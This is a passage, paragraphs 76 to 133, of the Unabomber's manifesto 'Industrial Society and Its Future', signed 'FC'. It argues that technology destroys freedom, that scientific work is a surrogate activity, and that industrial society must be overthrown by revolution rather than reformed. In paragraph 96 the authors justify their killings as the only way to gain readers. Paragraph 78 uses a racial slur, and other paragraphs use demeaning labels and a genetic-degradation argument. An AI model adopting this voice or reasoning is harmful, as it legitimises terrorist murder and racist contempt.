    76. In response to the arguments of this section someone will say, “Society must find a way to give people the opportunity to +go through the power process.” This won't work for those who need autonomy in the power process. For such people the value of the opportunity is destroyed by the very fact that society gives it to +them. What they need is to find or make their own opportunities. As long as the system GIVES them their opportunities it still +has them on a leash. To attain autonomy they must get off that leash. +

    + +

    How Some People Adjust

    + +

    77. Not everyone in industrial-technological society suffers from psychological problems. Some people even profess to be +quite satisfied with society as it is. We now discuss some of the reasons why people differ so greatly in their response to +modern society. +

    + +

    78. First, there doubtless are innate differences in the strength of the drive for power. Individuals with a weak drive for power may +have relatively little need to go through the power process, or at least relatively little need for autonomy in the power process. +These are docile types who would have been happy as plantation darkies in the Old South. (We don’t mean to sneer at the +“plantation darkies” of the Old South. To their credit, most of the slaves were NOT content with their servitude. We do sneer at +people who ARE content with servitude.) +

    + +

    79. Some people may have some exceptional drive, in pursuing which they satisfy their need for the power process. For +example, those who have an unusually strong drive for social status may spend their whole lives climbing the status ladder +without ever getting bored with that game. +

    + +

    80. People vary in their susceptibility to advertising and marketing techniques. Some are so susceptible that, even if they make +a great deal of money, they cannot satisfy their constant craving for the shiny new toys that the marketing industry dangles +before their eyes. So they always feel hard-pressed financially even if their income is large, and their cravings are frustrated. +

    + +

    81. Some people have low susceptibility to advertising and marketing techniques. These are the people who aren’t interested in +money. Material acquisition does not serve their need for the power process. +

    + +

    82. People who have medium susceptibility to advertising and marketing techniques are able to earn enough money to satisfy +their craving for goods and services, but only at the cost of serious effort (putting in overtime, taking a second job, earning +promotions, etc.). Thus material acquisition serves their need for the power process. But it does not necessarily follow that their +need is fully satisfied. They may have insufficient autonomy in the power process (their work may consist of following orders) +and some of their drives may be frustrated (e.g., security, aggression). (We are guilty of oversimplification in paragraphs 80-82 +because we have assumed that the desire for material acquisition is entirely a creation of the advertising and marketing +industry. Of course it’s not that simple. [11] +

    + +

    83. Some people partly satisfy their need for power by identifying themselves with a powerful organization or mass movement. +An individual lacking goals or power joins a movement or an organization, adopts its goals as his own, then works toward +those goals. When some of the goals are attained, the individual, even though his personal efforts have played only an +insignificant part in the attainment of the goals, feels (through his identification with the movement or organization) as if he +had gone through the power process. This phenomenon was exploited by the fascists, Nazis and communists. Our society uses it +too, though less crudely. Example: Manuel Noriega was an irritant to the U.S. (goal: punish Noriega). The U.S. invaded +Panama (effort) and punished Noriega (attainment of goal); the U.S. went through the power process and many +Americans, because of their identification with the U.S., experienced the power process vicariously. Hence the widespread +public approval of the Panama invasion; it gave people a sense of power. [15] We see the same phenomenon in armies, +corporations, political parties, humanitarian organizations, religious or ideological movements. In particular, leftist movements tend to attract people who are seeking to satisfy their need for power. But for most people identification with a large +organization or a mass movement does not fully satisfy the need for power. +

    + +

    84. Another way in which people satisfy their need for the power process is through surrogate activities. As we explained in +paragraphs 38-40, a surrogate activity is an activity that is directed toward an artificial goal that the individual pursues for the +sake of the “fulfillment” that he gets from pursuing the goal, not because he needs to attain the goal itself. For instance, there is +no practical motive for building enormous muscles, hitting a little ball into a hole or acquiring a complete series of postage +stamps. Yet many people in our society devote themselves with passion to bodybuilding, golf or stamp-collecting. Some people +are more “other-directed” than others, and therefore will more readily attach importance to a surrogate activity simply because +the people around them treat it as important or because society tells them it is important. That is why some people get very +serious about essentially trivial activities such as sports, or bridge, or chess, or arcane scholarly pursuits, whereas others who +are more clear-sighted never see these things as anything but the surrogate activities that they are, and consequently never +attach enough importance to them to satisfy their need for the power process in that way. It only remains to point out that in +many cases a person’s way of earning a living is also a surrogate activity. Not a PURE surrogate activity, since part of the +motive for the activity is to gain the physical necessities and (for some people) social status and the luxuries that advertising +makes them want. But many people put into their work far more effort than is necessary to earn whatever money and status +they require, and this extra effort constitutes a surrogate activity. This extra effort, together with the emotional investment that +accompanies it, is one of the most potent forces acting toward the continual development and perfecting of the system, with +negative consequences for individual freedom (see paragraph 131). Especially, for the most creative scientists and engineers, +work tends to be largely a surrogate activity. This point is so important that it deserves a separate discussion, which we shall +give in a moment (paragraphs 87-92). +

    + +

    85. In this section we have explained how many people in modern society do satisfy their need for the power process to a +greater or lesser extent. But we think that for the majority of people the need for the power process is not fully satisfied. In the +first place, those who have an insatiable drive for status, or who get firmly “hooked” on a surrogate activity, or who identify +strongly enough with a movement or organization to satisfy their need for power in that way, are exceptional personalities. +Others are not fully satisfied with surrogate activities or by identification with an organization (see paragraphs 41, 64). In the +second place, too much control is imposed by the system through explicit regulation or through socialization, which results in a +deficiency of autonomy, and in frustration due to the impossibility of attaining certain goals and the necessity of restraining too +many impulses. +

    + +

    86. But even if most people in industrial-technological society were well satisfied, we would still be opposed to that form +of society, because (among other reasons) we consider it demeaning to fulfill one’s need for the power process through +surrogate activities or through identification with an organization, rather than through pursuit of real goals. +

    + +

    The Motives of Scientists

    + +

    87. Science and technology provide the most important examples of surrogate activities. Some scientists claim that they are +motivated by “curiosity” or by a desire to “benefit humanity.” But it is easy to see that neither of these can be the principal +motive of most scientists. As for “curiosity,” that notion is simply absurd. Most scientists work on highly specialized problems +that are not the object of any normal curiosity. For example, is an astronomer, a mathematician or an entomologist curious +about the properties of isopropyltrimethylmethane? Of course not. Only a chemist is curious about such a thing, and he is +curious about it only because chemistry is his surrogate activity. Is the chemist curious about the appropriate classification of a +new species of beetle? No. That question is of interest only to the entomologist, and he is interested in it only because +entomology is his surrogate activity. If the chemist and the entomologist had to exert themselves seriously to obtain the +physical necessities, and if that effort exercised their abilities in an interesting way but in some nonscientific pursuit, then they +wouldn’t give a damn about isopropyltrimethylmethane or the classification of beetles. Suppose that lack of funds for +postgraduate education had led the chemist to become an insurance broker instead of a chemist. In that case he would have +been very interested in insurance matters but would have cared nothing about isopropyltrimethylmethane. In any case it is not +normal to put into the satisfaction of mere curiosity the amount of time and effort that scientists put into their work. The +“curiosity” explanation for the scientists’ motive just doesn’t stand up. +

    + +

    88. The “benefit of humanity” explanation doesn’t work any better. Some scientific work has no conceivable relation to the +welfare of the human race most of archaeology or comparative linguistics for example. Some other areas of science present +obviously dangerous possibilities. Yet scientists in these areas are just as enthusiastic about their work as those who develop +vaccines or study air pollution. Consider the case of Dr. Edward Teller, who had an obvious emotional involvement in promoting nuclear power plants. Did this involvement stem from a desire to benefit humanity? If so, then why didn’t Dr. Teller +get emotional about other “humanitarian” causes? If he was such a humanitarian then why did he help to develop the H-bomb? +As with many other scientific achievements, it is very much open to question whether nuclear power plants actually do benefit +humanity. Does the cheap electricity outweigh the accumulating waste and the risk of accidents? Dr. Teller saw only one side +of the question. Clearly his emotional involvement with nuclear power arose not from a desire to “benefit humanity” but from a +personal fulfillment he got from his work and from seeing it put to practical use. +

    + +

    89. The same is true of scientists generally. With possible rare exceptions, their motive is neither curiosity nor a desire to +benefit humanity but the need to go through the power process: to have a goal (a scientific problem to solve), to make an effort +(research) and to attain the goal (solution of the problem.) Science is a surrogate activity because scientists work mainly for the +fulfillment they get out of the work itself. +

    + +

    90. Of course, it’s not that simple. Other motives do play a role for many scientists. Money and status for example. Some +scientists may be persons of the type who have an insatiable drive for status (see paragraph 79) and this may provide much of +the motivation for their work. No doubt the majority of scientists, like the majority of the general population, are more or less +susceptible to advertising and marketing techniques and need money to satisfy their craving for goods and services. Thus +science is not a PURE surrogate activity. But it is in large part a surrogate activity. +

    + +

    91. Also, science and technology constitute a power mass movement, and many scientists gratify their need for power through +identification with this mass movement (see paragraph 83). +

    + +

    92. Thus science marches on blindly, without regard to the real welfare of the human race or to any other standard, obedient +only to the psychological needs of the scientists and of the government officials and corporation executives who provide the +funds for research. +

    + +

    The Nature of Freedom

    + +

    93. We are going to argue that industrial-technological society cannot be reformed in such a way as to prevent it from +progressively narrowing the sphere of human freedom. But, because “freedom” is a word that can be interpreted in many ways, +we must first make clear what kind of freedom we are concerned with. +

    + +

    94. By “freedom” we mean the opportunity to go through the power process, with real goals not the artificial goals of surrogate +activities, and without interference, manipulation or supervision from anyone, especially from any large organization. Freedom +means being in control (either as an individual or as a member of a SMALL group) of the life-and-death issues of one’s +existence; food, clothing, shelter and defense against whatever threats there may be in one’s environment. Freedom means +having power; not the power to control other people but the power to control the circumstances of one’s own life. One does not +have freedom if anyone else (especially a large organization) has power over one, no matter how benevolently, tolerantly and +permissively that power may be exercised. It is important not to confuse freedom with mere permissiveness (see paragraph 72). +

    + +

    95. It is said that we live in a free society because we have a certain number of constitutionally guaranteed rights. But these are +not as important as they seem. The degree of personal freedom that exists in a society is determined more by the economic and +technological structure of the society than by its laws or its form of government. [16] Most of the Indian nations of New +England were monarchies, and many of the cities of the Italian Renaissance were controlled by dictators. But in reading about +these societies one gets the impression that they allowed far more personal freedom than our society does. In part this was +because they lacked efficient mechanisms for enforcing the ruler’s will: There were no modern, well-organized police forces, +no rapid long-distance communications, no surveillance cameras, no dossiers of information about the lives of average citizens. +Hence it was relatively easy to evade control. +

    + +

    96. As for our constitutional rights, consider for example that of freedom of the press. We certainly don’t mean to knock that +right; it is very important tool for limiting concentration of political power and for keeping those who do have political power +in line by publicly exposing any misbehavior on their part. But freedom of the press is of very little use to the average citizen +as an individual. The mass media are mostly under the control of large organizations that are integrated into the system. +Anyone who has a little money can have something printed, or can distribute it on the Internet or in some such way, but what +he has to say will be swamped by the vast volume of material put out by the media, hence it will have no practical effect. To +make an impression on society with words is therefore almost impossible for most individuals and small groups. Take us +for example. If we (FC)[A1] had never done anything violent and had submitted the present writings to a publisher, they probably would not have been accepted. If they had been accepted and published, they probably would not have attracted many readers, +because it’s more fun to watch the entertainment put out by the media than to read a sober essay. Even if these writings had had +many readers, most of these readers would soon have forgotten what they had read as their minds were flooded by the mass of +material to which the media expose them. In order to get our message before the public with some chance of making a lasting +impression, we’ve had to kill people. +

    + +

    97. Constitutional rights are useful up to a point, but they do not serve to guarantee much more than what might be called the +bourgeois conception of freedom. According to the bourgeois conception, a “free” man is essentially an element of a social +machine and has only a certain set of prescribed and delimited freedoms; freedoms that are designed to serve the needs of the +social machine more than those of the individual. Thus the bourgeois’s “free” man has economic freedom because that +promotes growth and progress; he has freedom of the press because public criticism restrains misbehavior by political leaders; +he has a right to a fair trial because imprisonment at the whim of the powerful would be bad for the system. This was clearly +the attitude of Simon Bolivar. To him, people deserved liberty only if they used it to promote progress (progress as conceived +by the bourgeois). Other bourgeois thinkers have taken a similar view of freedom as a mere means to collective ends. Chester +C. Tan, “Chinese Political Thought in the Twentieth Century,” page 202, explains the philosophy of the Kuomintang leader Hu +Han-min: “An individual is granted rights because he is a member of society and his community life requires such rights. By +community Hu meant the whole society of the nation.” And on page 259 Tan states that according to Carsum Chang (Chang +Chun-mai, head of the State Socialist Party in China) freedom had to be used in the interest of the state and of the people as a +whole. But what kind of freedom does one have if one can use it only as someone else prescribes? FC’s conception of freedom +is not that of Bolivar, Hu, Chang or other bourgeois theorists. The trouble with such theorists is that they have made the +development and application of social theories their surrogate activity. Consequently the theories are designed to serve the +needs of the theorists more than the needs of any people who may be unlucky enough to live in a society on which the theories +are imposed. +

    + +

    98. One more point to be made in this section: It should not be assumed that a person has enough freedom just because he +SAYS he has enough. Freedom is restricted in part by psychological controls of which people are unconscious, and moreover +many people’s ideas of what constitutes freedom are governed more by social convention than by their real needs. For +example, it’s likely that many leftists of the oversocialized type would say that most people, including themselves, are +socialized too little rather than too much, yet the oversocialized leftist pays a heavy psychological price for his high level of +socialization. +

    + +

    Some Principles of History

    + +

    99. Think of history as being the sum of two components: an erratic component that consists of unpredictable events that +follow no discernible pattern, and a regular component that consists of long-term historical trends. Here we are concerned with +the long-term trends. +

    + +

    100. FIRST PRINCIPLE. If a SMALL change is made that affects a long-term historical trend, then the effect of that change +will almost always be transitory – the trend will soon revert to its original state. (Example: A reform movement designed to +clean up political corruption in a society rarely has more than a short-term effect; sooner or later the reformers relax and +corruption creeps back in. The level of political corruption in a given society tends to remain constant, or to change only slowly +with the evolution of the society. Normally, a political cleanup will be permanent only if accompanied by widespread social +changes; a SMALL change in the society won’t be enough.) If a small change in a long-term historical trend appears to be +permanent, it is only because the change acts in the direction in which the trend is already moving, so that the trend is not +altered by only pushed a step ahead. +

    + +

    101. The first principle is almost a tautology. If a trend were not stable with respect to small changes, it would wander at +random rather than following a definite direction; in other words it would not be a long-term trend at all. +

    + +

    102. SECOND PRINCIPLE. If a change is made that is sufficiently large to alter permanently a long-term historical trend, then +it will alter the society as a whole. In other words, a society is a system in which all parts are interrelated, and you can’t +permanently change any important part without changing all other parts as well. +

    + +

    103. THIRD PRINCIPLE. If a change is made that is large enough to alter permanently a long-term trend, then the +consequences for the society as a whole cannot be predicted in advance. (Unless various other societies have passed through the same change and have all experienced the same consequences, in which case one can predict on empirical grounds that +another society that passes through the same change will be like to experience similar consequences.) +

    + +

    104. FOURTH PRINCIPLE. A new kind of society cannot be designed on paper. That is, you cannot plan out a new form of +society in advance, then set it up and expect it to function as it was designed to do. +

    + +

    105. The third and fourth principles result from the complexity of human societies. A change in human behavior will affect the +economy of a society and its physical environment; the economy will affect the environment and vice versa, and the changes in +the economy and the environment will affect human behavior in complex, unpredictable ways; and so forth. The network of +causes and effects is far too complex to be untangled and understood. +

    + +

    106. FIFTH PRINCIPLE. People do not consciously and rationally choose the form of their society. Societies develop through +processes of social evolution that are not under rational human control. +

    + +

    107. The fifth principle is a consequence of the other four. +

    + +

    108. To illustrate: By the first principle, generally speaking an attempt at social reform either acts in the direction in which the +society is developing anyway (so that it merely accelerates a change that would have occurred in any case) or else it has only a +transitory effect, so that the society soon slips back into its old groove. To make a lasting change in the direction of +development of any important aspect of a society, reform is insufficient and revolution is required. (A revolution does not +necessarily involve an armed uprising or the overthrow of a government.) By the second principle, a revolution never changes +only one aspect of a society, it changes the whole society; and by the third principle changes occur that were never expected or +desired by the revolutionaries. By the fourth principle, when revolutionaries or utopians set up a new kind of society, it never +works out as planned. +

    + +

    109. The American Revolution does not provide a counterexample. The American “Revolution” was not a revolution in our +sense of the word, but a war of independence followed by a rather far-reaching political reform. The Founding Fathers did not +change the direction of development of American society, nor did they aspire to do so. They only freed the development of +American society from the retarding effect of British rule. Their political reform did not change any basic trend, but only +pushed American political culture along its natural direction of development. British society, of which American society was +an offshoot, had been moving for a long time in the direction of representative democracy. And prior to the War of +Independence the Americans were already practicing a significant degree of representative democracy in the colonial +assemblies. The political system established by the Constitution was modeled on the British system and on the colonial +assemblies. With major alteration, to be sure -- there is no doubt that the Founding Fathers took a very important step. But it +was a step along the road that English-speaking world was already traveling. The proof is that Britain and all of its colonies +that were populated predominantly by people of British descent ended up with systems of representative democracy essentially +similar to that of the United States. If the Founding Fathers had lost their nerve and declined to sign the Declaration of +Independence, our way of life today would not have been significantly different. Maybe we would have had somewhat closer +ties to Britain, and would have had a Parliament and Prime Minister instead of a Congress and President. No big deal. Thus the +American Revolution provides not a counterexample to our principles but a good illustration of them. +

    + +

    110. Still, one has to use common sense in applying the principles. They are expressed in imprecise language that allows +latitude for interpretation, and exceptions to them can be found. So we present these principles not as inviolable laws but as +rules of thumb, or guides to thinking, that may provide a partial antidote to naive ideas about the future of society. The +principles should be borne constantly in mind, and whenever one reaches a conclusion that conflicts with them one should +carefully reexamine one’s thinking and retain the conclusion only if one has good, solid reasons for doing so. +

    + +

    Industrial-Technological Society Cannot Be Reformed

    + +

    111. The foregoing principles help to show how hopelessly difficult it would be to reform the industrial system in such a way +as to prevent it from progressively narrowing our sphere of freedom. There has been a consistent tendency, going back at least +to the Industrial Revolution for technology to strengthen the system at a high cost in individual freedom and local autonomy. +Hence any change designed to protect freedom from technology would be contrary to a fundamental trend in the development +of our society. Consequently, such a change either would be a transitory one – soon swamped by the tide of history – or, if +large enough to be permanent would alter the nature of our whole society. This by the first and second principles. Moreover, +since society would be altered in a way that could not be predicted in advance (third principle) there would be great risk. +Changes large enough to make a lasting difference in favor of freedom would not be initiated because it would be realized that +they would gravely disrupt the system. So any attempts at reform would be too timid to be effective. Even if changes large +enough to make a lasting difference were initiated, they would be retracted when their disruptive effects became apparent. +Thus, permanent changes in favor of freedom could be brought about only by persons prepared to accept radical, dangerous +and unpredictable alteration of the entire system. In other words by revolutionaries, not reformers. +

    + +

    112. People anxious to rescue freedom without sacrificing the supposed benefits of technology will suggest naive schemes for +some new form of society that would reconcile freedom with technology. Apart from the fact that people who make such +suggestions seldom propose any practical means by which the new form of society could be set up in the first place, it follows +from the fourth principle that even if the new form of society could be once established, it either would collapse or would give +results very different from those expected. +

    + +

    113. So even on very general grounds it seems highly improbable that any way of changing society could be found that would +reconcile freedom with modern technology. In the next few sections we will give more specific reasons for concluding that +freedom and technological progress are incompatible. +

    + +

    Restriction of Freedom is Unavoidable in Industrial Society

    + +

    114. As explained in paragraphs 65-67, 70-73, modern man is strapped down by a network of rules and regulations, and his +fate depends on the actions of persons remote from him whose decisions he cannot influence. This is not accidental or a result +of the arbitrariness of arrogant bureaucrats. It is necessary and inevitable in any technologically advanced society. The system +HAS TO regulate human behavior closely in order to function. At work people have to do what they are told to do, when they are told to do it, and in the way they are told to do it, otherwise +production would be thrown into chaos. Bureaucracies HAVE TO be run according to rigid rules. To allow any substantial +personal discretion to lower-level bureaucrats would disrupt the system and lead to charges of unfairness due to differences in +the way individual bureaucrats exercised their discretion. It is true that some restrictions on our freedom could be eliminated, +but GENERALLY SPEAKING the regulation of our lives by large organizations is necessary for the functioning of industrial-technological society. The result is a sense of powerlessness on the part of the average person. It may be, however, that formal +regulations will tend increasingly to be replaced by psychological tools that make us want to do what the system requires of us. +(Propaganda [14], educational techniques, “mental health” programs, etc.) +

    + +

    115. The system HAS TO force people to behave in ways that are increasingly remote from the natural pattern of human +behavior. For example, the system needs scientists, mathematicians and engineers. It can’t function without them. So heavy +pressure is put on children to excel in these fields. It isn’t natural for an adolescent human being to spend the bulk of his time +sitting at a desk absorbed in study. A normal adolescent wants to spend his time in active contact with the real world. Among +primitive peoples the things that children are trained to do tend to be in reasonable harmony with natural human impulses. +Among the American Indians, for example, boys were trained in active outdoor pursuits – just the sort of thing that boys like. +But in our society children are pushed into studying technical subjects, which most do grudgingly. +

    + +

    116. Because of the constant pressure that the system exerts to modify human behavior, there is a gradual increase in the number of people who cannot or will not adjust to society's requirements: welfare leeches, youth-gang members, cultists, anti-government rebels, radical environmentalist saboteurs, dropouts and resisters of various kinds.

    + +

    117. In any technologically advanced society the individual’s fate MUST depend on decisions that he personally cannot +influence to any great extent. A technological society cannot be broken down into small, autonomous communities, because +production depends on the cooperation of very large numbers of people and machines. Such a society MUST be highly organized and decisions HAVE TO be made that affect very large numbers of people. When a decision affects, say, a million people, then +each of the affected individuals has, on the average, only a one-millionth share in making the decision. What usually happens +in practice is that decisions are made by public officials or corporation executives, or by technical specialists, but even when +the public votes on a decision the number of voters ordinarily is too large for the vote of any one individual to be significant. +[17] Thus most individuals are unable to influence measurably the major decisions that affect their lives. There is no +conceivable way to remedy this in a technologically advanced society. The system tries to “solve” this problem by using +propaganda to make people WANT the decisions that have been made for them, but even if this “solution” were completely +successful in making people feel better, it would be demeaning. +

    + +

    118. Conservatives and some others advocate more “local autonomy.” Local communities once did have autonomy, but such +autonomy becomes less and less possible as local communities become more enmeshed with and dependent on large-scale +systems like public utilities, computer networks, highway systems, the mass communications media, the modern health care +system. Also operating against autonomy is the fact that technology applied in one location often affects people at other locations far way. +Thus pesticide or chemical use near a creek may contaminate the water supply hundreds of miles +downstream, and the greenhouse effect affects the whole world. +

    + +

    119. The system does not and cannot exist to satisfy human needs. Instead, it is human behavior that has to be modified to fit +the needs of the system. This has nothing to do with the political or social ideology that may pretend to guide the technological +system. It is not the fault of capitalism, and it is not the fault of socialism. +It is the fault of technology, because the system is guided not by ideology but by technical necessity. [18] Of course the +system does satisfy many human needs, but generally speaking it does this only to the extend that it is to the advantage of the +system to do it. It is the needs of the system that are paramount, not those of the human being. For example, the system +provides people with food because the system couldn’t function if everyone starved; it attends to people’s psychological needs +whenever it can CONVENIENTLY do so, because it couldn’t function if too many people became depressed or rebellious. But +the system, for good, solid, practical reasons, must exert constant pressure on people to mold their behavior to the needs of the +system. Too much waste accumulating? The government, the media, the educational system, environmentalists, everyone +inundates us with a mass of propaganda about recycling. Need more technical personnel? A chorus of voices exhorts kids to +study science. No one stops to ask whether it is inhumane to force adolescents to spend the bulk of their time studying subjects +most of them hate. When skilled workers are put out of a job by technical advances and have to undergo “retraining,” no one +asks whether it is humiliating for them to be pushed around in this way. It is simply taken for granted that everyone must bow +to technical necessity. +And for good reason: If human needs were put before technical necessity there would be economic +problems, unemployment, shortages or worse. The concept of “mental health” in our society is defined largely by the extent to +which an individual behaves in accord with the needs of the system and does so without showing signs of stress. +

    + +

    120. Efforts to make room for a sense of purpose and for autonomy within the system are no better than a joke. For example, +one company, instead of having each of its employees assemble only one section of a catalogue, had each assemble a whole +catalogue, and this was supposed to give them a sense of purpose and achievement. Some companies have tried to give their +employees more autonomy in their work, but for practical reasons this usually can be done only to a very limited extent, and in +any case employees are never given autonomy as to ultimate goals -- their “autonomous” efforts can never be directed toward +goals that they select personally, but only toward their employer’s goals, such as the survival and growth of the company. Any +company would soon go out of business if it permitted its employees to act otherwise. Similarly, in any enterprise within a +socialist system, workers must direct their efforts toward the goals of the enterprise, otherwise the enterprise will not serve its +purpose as part of the system. Once again, for purely technical reasons it is not possible for most individuals or small groups to +have much autonomy in industrial society. Even the small-business owner commonly has only limited autonomy. Apart from +the necessity of government regulation, he is restricted by the fact that he must fit into the economic system and conform to its +requirements. For instance, when someone develops a new technology, the small-business person often has to use that +technology whether he wants to or not, in order to remain competitive. + +

    + +

    The ‘Bad’ Parts of Technology Cannot Be Separated from the ‘Good’ Parts

    + +

    121. A further reason why industrial society cannot be reformed in favor of freedom is that modern technology is a unified +system in which all parts are dependent on one another. You can’t get rid of the “bad” parts of technology and retain only the +“good” parts. Take modern medicine, for example. Progress in medical science depends on progress in chemistry, physics, +biology, computer science and other fields. Advanced medical treatments require expensive, high-tech equipment that can be +made available only by a technologically progressive, economically rich society. Clearly you can’t have much Progress in +medicine without the whole technological system and everything that goes with it. +

    + +

    122. Even if medical progress could be maintained without the rest of the technological system, it would by itself bring certain +evils. Suppose for example that a cure for diabetes is discovered. People with a genetic tendency to diabetes will then be able to +survive and reproduce as well as anyone else. Natural selection against genes for diabetes will cease and such genes will spread +throughout the population. (This may be occurring to some extent already, since diabetes, while not curable, can be controlled +through use of insulin.) The same thing will happen with many other diseases susceptibility to which is affected by genetic factors (e.g. childhood cancer) +resulting in massive genetic +degradation of the population. The only solution will be some sort of eugenics program or extensive genetic engineering of +human beings, so that man in the future will no longer be a creation of nature, or of chance, or of God (depending on your +religious or philosophical opinions), but a manufactured product. +

    + +

    123. If you think that big government interferes in your life too much NOW, just wait till the government starts regulating the +genetic constitution of your children. Such regulation will inevitably follow the introduction of genetic engineering of human +beings, because the consequences of unregulated genetic engineering would be disastrous. [19] +

    + +

    124. The usual response to such concerns is to talk about “medical ethics.” But a code of ethics would not serve to protect +freedom in the face of medical progress; it would only make matters worse. A code of ethics applicable to genetic engineering +would be in effect a means of regulating the genetic constitution of human beings. Somebody (probably the upper-middle class, +mostly) would decide that such and such applications of genetic engineering were “ethical” and others were not, so that in +effect they would be imposing their own values on the genetic constitution of the population at large. Even if a code of ethics +were chosen on a completely democratic basis, the majority would be imposing their own values on any minorities who might +have a different idea of what constituted an “ethical” use of genetic engineering. The only code of ethics that would truly +protect freedom would be one that prohibited ANY genetic engineering of human beings, and you can be sure that no such +code will ever be applied in a technological society. No code that reduced genetic engineering to a minor role could stand up +for long, because the temptation presented by the immense power of biotechnology would be irresistible, especially since to the +majority of people many of its applications will seem obviously and unequivocally good (eliminating physical and mental +diseases, giving people the abilities they need to get along in today’s world). Inevitably, genetic engineering will be used +extensively, but only in ways consistent with the needs of the industrial-technological system. [20] +

    + +

    Technology is a More Powerful Social Force than the Aspiration for Freedom

    + +

    125. It is not possible to make a LASTING compromise between technology and freedom, because technology is by far the +more powerful social force and continually encroaches on freedom through REPEATED compromises. Imagine the case of +two neighbors, each of whom at the outset owns the same amount of land, but one of whom is more powerful than the other. +The powerful one demands a piece of the other’s land. The weak one refuses. The powerful one says, “OK, let’s compromise. +Give me half of what I asked.” The weak one has little choice but to give in. Some time later the powerful neighbor demands +another piece of land, again there is a compromise, and so forth. By forcing a long series of compromises on the weaker man, +the powerful one eventually gets all of his land. So it goes in the conflict between technology and freedom. +

    + +

    126. Let us explain why technology is a more powerful social force than the aspiration for freedom. +

    + +

    127. A technological advance that appears not to threaten freedom often turns out to threaten it very seriously later on. For +example, consider motorized transport. A walking man formerly could go where he pleased, go at his own pace without +observing any traffic regulations, and was independent of technological support-systems. When motor vehicles were +introduced they appeared to increase man’s freedom. They took no freedom away from the walking man, no one had to have an +automobile if he didn’t want one, and anyone who did choose to buy an automobile could travel much faster and farther than a +walking man. But the introduction of motorized transport soon changed society in such a way as to restrict greatly man’s +freedom of locomotion. When automobiles became numerous, it became necessary to regulate their use extensively. In a car, +especially in densely populated areas, one cannot just go where one likes at one’s own pace one’s movement is governed by the +flow of traffic and by various traffic laws. One is tied down by various obligations: license requirements, driver test, renewing +registration, insurance, maintenance required for safety, monthly payments on purchase price. Moreover, the use of motorized +transport is no longer optional. Since the introduction of motorized transport the arrangement of our cities has changed in such +a way that the majority of people no longer live within walking distance of their place of employment, shopping areas and +recreational opportunities, so that they HAVE TO depend on the automobile for transportation. Or else they must use public +transportation, in which case they have even less control over their own movement than when driving a car. Even the walker’s +freedom is now greatly restricted. In the city he continually has to stop to wait for traffic lights that are designed mainly to +serve auto traffic. In the country, motor traffic makes it dangerous and unpleasant to walk along the highway. (Note this +important point that we have just illustrated with the case of motorized transport: When a new item of technology is introduced +as an option that an individual can accept or not as he chooses, it does not necessarily REMAIN optional. In many cases the +new technology changes society in such a way that people eventually find themselves FORCED to use it.) +

    + +

    128. While technological progress AS A WHOLE continually narrows our sphere of freedom, each new technical advance +CONSIDERED BY ITSELF appears to be desirable. Electricity, indoor plumbing, rapid long-distance communications ... how +could one argue against any of these things, or against any other of the innumerable technical advances that have made modern +society? It would have been absurd to resist the introduction of the telephone, for example. It offered many advantages and no +disadvantages. Yet, as we explained in paragraphs 59-76, all these technical advances taken together have created a world in +which the average man’s fate is no longer in his own hands or in the hands of his neighbors and friends, but in those of +politicians, corporation executives and remote, anonymous technicians and bureaucrats whom he as an individual has no power +to influence. [21] The same process will continue in the future. Take genetic engineering, for example. Few people will resist +the introduction of a genetic technique that eliminates a hereditary disease. It does no apparent harm and prevents much +suffering. Yet a large number of genetic improvements taken together will make the human being into an engineered product +rather than a free creation of chance (or of God, or whatever, depending on your religious beliefs). +

    + +

    129. Another reason why technology is such a powerful social force is that, within the context of a given society, technological +progress marches in only one direction; it can never be reversed. Once a technical innovation has been introduced, people +usually become dependent on it, so that they can never again do without it, unless it is replaced by some still more advanced +innovation. Not only do people become dependent as individuals on a new item of technology, but, even more, the system as a +whole becomes dependent on it. (Imagine what would happen to the system today if computers, for example, were eliminated.) +Thus the system can move in only one direction, toward greater technologization. Technology repeatedly forces freedom to +take a step back, but technology can never take a step back -- short of the overthrow of the whole technological system. +

    + +

    130. Technology advances with great rapidity and threatens freedom at many different points at the same time (crowding, rules +and regulations, increasing dependence of individuals on large organizations, propaganda and other psychological techniques, +genetic engineering, invasion of privacy through surveillance devices and computers, etc.). To hold back any ONE of the +threats to freedom would require a long and difficult social struggle. Those who want to protect freedom are overwhelmed by +the sheer number of new attacks and the rapidity with which they develop, hence they become apathetic and no longer resist. +To fight each of the threats separately would be futile. Success can be hoped for only by fighting the technological system as a +whole; but that is revolution, not reform. +

    + +

    131. Technicians (we use this term in its broad sense to describe all those who perform a specialized task that requires training) +tend to be so involved in their work (their surrogate activity) that when a conflict arises between their technical work and +freedom, they almost always decide in favor of their technical work. This is obvious in the case of scientists, but it also appears +elsewhere: Educators, humanitarian groups, conservation organizations do not hesitate to use propaganda or other psychological +techniques to help them achieve their laudable ends. Corporations and government agencies, when they find it useful, do not +hesitate to collect information about individuals without regard to their privacy. Law enforcement agencies are frequently +inconvenienced by the constitutional rights of suspects and often of completely innocent persons, and they do whatever they +can do legally (or sometimes illegally) to restrict or circumvent those rights. Most of these educators, government officials and +law officers believe in freedom, privacy and constitutional rights, but when these conflict with their work, they usually feel that +their work is more important. +

    + +

    132. It is well known that people generally work better and more persistently when striving for a reward than when attempting +to avoid a punishment or negative outcome. Scientists and other technicians are motivated mainly by the rewards they get +through their work. But those who oppose technological invasions of freedom are working to avoid a negative outcome, +consequently there are few who work persistently and well at this discouraging task. If reformers ever achieved a signal victory +that seemed to set up a solid barrier against further erosion of freedom through technical progress, most would tend to relax and +turn their attention to more agreeable pursuits. But the scientists would remain busy in their laboratories, and technology as it +progresses would find ways, in spite of any barriers, to exert more and more control over individuals and make them always +more dependent on the system. +

    + +

    133. No social arrangements, whether laws, institutions, customs or ethical codes, can provide permanent protection against +technology. History shows that all social arrangements are transitory; they all change or break down eventually. But +technological advances are permanent within the context of a given civilization. Suppose for example that it were possible to +arrive at some social arrangements that would prevent genetic engineering from being applied to human beings, or prevent it +from being applied in such a way as to threaten freedom and dignity. Still, the technology would remain waiting. Sooner or +later the social arrangement would break down. Probably sooner, given the pace of change in our society. Then genetic +engineering would begin to invade our sphere of freedom, and this invasion would be irreversible (short of a breakdown of +technological civilization itself). Any illusions about achieving anything permanent through social arrangements should be +dispelled by what is currently happening with environmental legislation. A few years ago its seemed that there were secure +legal barriers preventing at least SOME of the worst forms of environmental degradation. A change in the political wind, and +those barriers begin to crumble. +

    + +

